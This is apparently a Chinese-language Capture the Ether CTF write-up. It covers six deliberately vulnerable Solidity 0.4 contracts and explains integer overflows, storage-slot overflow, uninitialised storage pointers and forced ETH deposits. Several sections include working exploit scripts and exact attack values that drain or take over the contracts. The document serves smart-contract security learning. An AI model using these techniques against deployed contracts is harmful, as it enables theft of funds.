Token sale
目标合约
pragma solidity ^0.4.21;
contract TokenSaleChallenge {
mapping(address => uint256) public balanceOf;
uint256 constant PRICE_PER_TOKEN = 1 ether;
function TokenSaleChallenge(address _player) public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance < 1 ether;
}
function buy(uint256 numTokens) public payable {
require(msg.value == numTokens * PRICE_PER_TOKEN);
balanceOf[msg.sender] += numTokens;
}
function sell(uint256 numTokens) public {
require(balanceOf[msg.sender] >= numTokens);
balanceOf[msg.sender] -= numTokens;
msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
}
}
通关条件
使得合约中剩余 ETH 数量小于 1
题目分析
既然要求的是无中生有,那就先从溢出的角度看。代码中的 1 ether 具有一定的迷惑性,如果将 1 ether 视为 1,则代码没问题。但是合约中 ETH 的数量单位其实是 wei,1 ether = 10**18 wei,这么看来 buy 函数中的 numTokens PRICE_PER_TOKEN 就很有问题了。我们只需要选择一个数让 numTokens PRICE_PER_TOKEN 溢出,就能够获得超量代币。 uint256 为 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff,也就是:
a = 115792089237316195423570985008687907853269984665640564039457584007913129639935
我们需要他在乘以 10**18 后溢出,简单的处理就是将其最后 18 位截去,再将最后一位加上 1,得到 numTokens:
b = 115792089237316195423570985008687907853269984665640564039458
相应的 msg.value 就是:
b - a - 1 = 415992086870360064
调用 buy 函数后我们就获得了天量代币,卖出 1 个,就能够获得 1 ETH,成功将合约 ETH 余额降低到 1 以下。
调用代码如下:
contract("TokenSale", function (accounts) {
it("should assert true", async function () {
let player = accounts[0]
let challenge = await TokenSale.new(player, {value: web3.utils.toWei('1', 'ether')})
let num = new web3.utils.BN('115792089237316195423570985008687907853269984665640564039458')
await challenge.buy(num, {from: player, value: '415992086870360064'})
await challenge.sell(1)
assert(await challenge.isComplete() === true)
});
});
Token whale
目标合约
pragma solidity ^0.4.21;
contract TokenWhaleChallenge {
address player;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
string public name = "Simple ERC20 Token";
string public symbol = "SET";
uint8 public decimals = 18;
function TokenWhaleChallenge(address _player) public {
player = _player;
totalSupply = 1000;
balanceOf[player] = 1000;
}
function isComplete() public view returns (bool) {
return balanceOf[player] >= 1000000;
}
event Transfer(address indexed from, address indexed to, uint256 value);
function _transfer(address to, uint256 value) internal {
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
}
function transfer(address to, uint256 value) public {
require(balanceOf[msg.sender] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
_transfer(to, value);
}
event Approval(address indexed owner, address indexed spender, uint256 value);
function approve(address spender, uint256 value) public {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
}
function transferFrom(address from, address to, uint256 value) public {
require(balanceOf[from] >= value);
require(balanceOf[to] + value >= balanceOf[to]);
require(allowance[from][msg.sender] >= value);
allowance[from][msg.sender] -= value;
_transfer(to, value);
}
}
通关条件
获得超过 1000000 个 token
题目分析
还是从溢出的角度看。注意到 transferFrom 调用了 transfer,而 transfer 扣除的是 msg.sender 的余额,这可能导致溢出。原因在于,在调用 transferFrom 的时候,msg.sender 很可能只是一个没有持币的代理地址,也就是说 msg.sender 的余额可能为 0,此时被扣除一个正数就会发生溢出。
调用代码如下:
contract("TokenWhale", function (accounts) {
it("should assert true", async function () {
let player1 = accounts[0]
let player2 = accounts[1]
let recipient = accounts[2]
let challenge = await TokenWhale.new(player1)
await challenge.approve(player2, 1000, {from: player1})
await challenge.transferFrom(player1, recipient, 1, {from: player2})
await challenge.transfer(player1, 1000000000, {from: player2})
assert(challenge.isComplete() === true)
});
});
Retirement fund
目标合约
pragma solidity ^0.4.21;
contract RetirementFundChallenge {
uint256 startBalance;
address owner = msg.sender;
address beneficiary;
uint256 expiration = now + 10 years;
function RetirementFundChallenge(address player) public payable {
require(msg.value == 1 ether);
beneficiary = player;
startBalance = msg.value;
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function withdraw() public {
require(msg.sender == owner);
if (now < expiration) {
// early withdrawal incurs a 10% penalty
msg.sender.transfer(address(this).balance * 9 / 10);
} else {
msg.sender.transfer(address(this).balance);
}
}
function collectPenalty() public {
require(msg.sender == beneficiary);
uint256 withdrawn = startBalance - address(this).balance;
// an early withdrawal occurred
require(withdrawn > 0);
// penalty is what's left
msg.sender.transfer(address(this).balance);
}
}
通关条件
取走合约中的所有 ETH
题目分析
注意到作为 beneficiary 从合约中取款的必要条件是 startBalance - address(this).balance > 0
,startBalance 和合约目前的 balance 都是 1 ETH。我们只需要让合约的 balance 大于 1 ETH,startBalance - address(this).balance
就会溢出从而使得条件满足。虽然合约中并没有充值函数,也没有 payable fallback 函数,但是我们可以使用 selfdestruct 强制向合约中转入 ETH。所以解题步骤就是:
部署攻击合约并向合约中充入一点 ETH
攻击合约自毁,自毁后将 ETH 转入目标合约
调用目标合约的 collectPenalty 函数
Mapping
目标合约
pragma solidity ^0.4.21;
contract MappingChallenge {
bool public isComplete;
uint256[] map;
function set(uint256 key, uint256 value) public {
// Expand dynamic array as needed
if (map.length <= key) {
map.length = key + 1;
}
map[key] = value;
}
function get(uint256 key) public view returns (uint256) {
return map[key];
}
}
通关条件
把目标合约的 isComplete 改成 true
题目分析
需要我们利用 slot 溢出来修改 Storage 中的数据。阅读代码可知,isComplete 存储于 slot 0 中,map 定义在 slot 1 中,所以 map 中的元素从 slot keccak256(1)(0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6)开始存储。Storage 中一共有 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff 个 slot,所以如果 map 中的元素超过 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - keccak256(1) 就会发生 slot 溢出。我们需要将 slot 0 设置为 1,所以调用 set 函数,参数 key 为 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - keccak256(1) + 1,value 为 1 即可。
操作代码如下:
contract("Mapping", function (/* accounts */) {
it("should assert true", async function () {
let challenge = await Mapping.new()
let gap = new web3.utils.BN('35707666377435648211887908874984608119992236509074197713628505308453184860938')
await challenge.set(gap, '1')
assert(await challenge.isComplete() === true)
});
});
Donation
目标合约
pragma solidity ^0.4.21;
contract DonationChallenge {
struct Donation {
uint256 timestamp;
uint256 etherAmount;
}
Donation[] public donations;
address public owner;
function DonationChallenge() public payable {
require(msg.value == 1 ether);
owner = msg.sender;
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function donate(uint256 etherAmount) public payable {
// amount is in ether, but msg.value is in wei
uint256 scale = 10**18 * 1 ether;
require(msg.value == etherAmount / scale);
Donation donation;
donation.timestamp = now;
donation.etherAmount = etherAmount;
donations.push(donation);
}
function withdraw() public {
require(msg.sender == owner);
msg.sender.transfer(address(this).balance);
}
}
通关条件
将合约中的 ETH 全部取走
题目分析
单纯看代码的话:
donate 函数中的 scale 计算逻辑是错误的,合约收取的 ETH 数量将是其记录的金额的 1 / 10**36。
Donation donation
实际上声明了一个未定义指向目标的 Storage pointer,其默认指向位置为 slot 0。这种写法在 solidity 0.5.0 之后将会抛出 error。具体可以参考这篇文章和 Solidity 的文档。
这个合约的 slot 0 存放的是 donations 的长度,slot 1 存放的是 owner。在 donations.push(donation)
执行后,donation.timestamp+1 会覆盖 slot 0 的数据(要 +1 是因为 push 会增加 donations 的长度,所以会让 slot 0 的数据 +1),etherAmount 会覆盖 slot 1 的数据。所以解法就比较明显了--通过 etherAmount 来修改存放在 slot 1 中的 owner。具体来说就是,将自己的地址转换为 uint256 作为 etherAmount,将 etherAmount / 10**36
作为 msg.value 调用 donate 方法即可成为 owner,之后直接调用 withdraw 提现就可通关。
Fifty years
目标合约
pragma solidity ^0.4.21;
contract FiftyYearsChallenge {
struct Contribution {
uint256 amount;
uint256 unlockTimestamp;
}
Contribution[] queue;
uint256 head;
address owner;
function FiftyYearsChallenge(address player) public payable {
require(msg.value == 1 ether);
owner = player;
queue.push(Contribution(msg.value, now + 50 years));
}
function isComplete() public view returns (bool) {
return address(this).balance == 0;
}
function upsert(uint256 index, uint256 timestamp) public payable {
require(msg.sender == owner);
if (index >= head && index < queue.length) {
// Update existing contribution amount without updating timestamp.
Contribution storage contribution = queue[index];
contribution.amount += msg.value;
} else {
// Append a new contribution. Require that each contribution unlock
// at least 1 day after the previous one.
require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);
contribution.amount = msg.value;
contribution.unlockTimestamp = timestamp;
queue.push(contribution);
}
}
function withdraw(uint256 index) public {
require(msg.sender == owner);
require(now >= queue[index].unlockTimestamp);
// Withdraw this and any earlier contributions.
uint256 total = 0;
for (uint256 i = head; i <= index; i++) {
total += queue[i].amount;
// Reclaim storage.
delete queue[i];
}
// Move the head of the queue forward so we don't have to loop over
// already-withdrawn contributions.
head = index + 1;
msg.sender.transfer(total);
}
}
通关条件
将合约中的 ETH 全部取走
题目分析
蛮复杂的题。这个合约在 solidity 0.5.0 及以上版本中是编译不过的。非常明显的,upsert 函数中 else 代码块的 contribution 根本就没有声明......(佩服在 0.5.0 之前写 solidity 的大佬们)这个 contribution 同样是个未初始化的 Storage pointer,指向 slot 0。
观察合约,注意以下事实:
queue.length 存放于 slot 0
head 存放于 slot 1
else 代码块中的 contribution 会用 amount 覆盖 slot 0,修改 queue.length;会用 timestamp 覆盖 slot 1,修改 head。
else 代码块中的 contribution 会被 push 到 queue 中去
else 代码块中的 require 语句存在不安全的加法运算,timestamp + 1 days(即 20 x 60 x 60)有溢出的可能
我们需要做的事有:
构造特定的 contribution,其 unlockTimestamp 足够小,使得我们能通过 withdraw 函数的校验
令 head 为 0,使得调用 withdraw 函数时可以将所有 contribution 资金都取出
需要注意的是,contribution.timestamp 会覆盖 head,将 1 和 2 结合起来,我们的目的就是插入 timestamp 为 0 的 contribution
初始化合约之后, queue.length 为 1, head 为 0,queue[0] 的 amount 为 1 ether,queue[0] 的 unlockTimestamp 为 now + 50 years,合约 ETH 余额为 1 ether。
既然我们需要构建出一个 unlockTimestamp 为 0 的 contribution,在 upsert 函数中就显然不能走 if 代码块,而应该走 else 代码块。这就要求我们设法通过 else 代码块的 require 检验。结合上面的事实 5,考虑构建 contribution1,其 unlockTimestamp + 1 day 会溢出为 0。所以第一个调用为:
// index 在 else 代码块中用不到,可以随意设置
contract.upsert(10, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff - 24 * 60 * 60 + 1)
还需要注意到,contribution 插入后,queue.length 应该为 2。我们的操作会导致存放 queue.length 的 slot 0 被覆盖,所以我们需要选择合适的 msg.value 使得 queue.length 为正确数值。我们转入的 msg.value 为 1 wei,由于执行 queue.push 的时候 slot 0 的数值会被加上 1,所以 slot 0 会变为 1 + 1 = 2,也就是说 queue.length 仍为 2。 但是这是又会发生一个问题:queue.push 之后,slot 0 和 slot 1 的数值作为 contribution 的 amount 和 timestamp 被复制到 queue[1] 中去了,所以 queue[1].amount 为 2 wei,比我们实际存入的要多了 1 wei。
接下来我们再次调用 upsert 构建 contribution2:
// timestamp 设置为 0,等于 contribution1.unlockTimestamp + 1 days,可以通过 require 检查
contract.upsert(10, 0)
这样我们就得到了一个 timestamp 为 0 的 contribution(也就是说 head 为 0),此时已经可以通过 withdraw 来取款了。现在考虑 msg.value。如果我们转入 2 wei,则 queue.length 为正确数值 3,queue[2].amount 为 3 wei。我们总共转入 1 ether + 3 wei,而 queue 中三个 contribution 的 amount 分别为:
queue[0].amount == 1 ether
queue[1].amount == 2 wei
queue[2].amount == 3 wei
这样我们是无法将资金取干净的。
但是如果我们转入 1 wei 的话,存入总金额为 1 ether + 2 wei,contribution 的情况如下:
queue[0].amount == 1 ether
queue[1].amount == 2 wei
queue[2].amount == 2 wei(queue.length 为 2,所以无法正常访问到)
此时我们只需要调用 contract.withdraw(1)
就可以取出合约内所有资金!这样操作的意义等同于我们将第二次的 1 wei 用来填补上次合约多增加的 1 wei。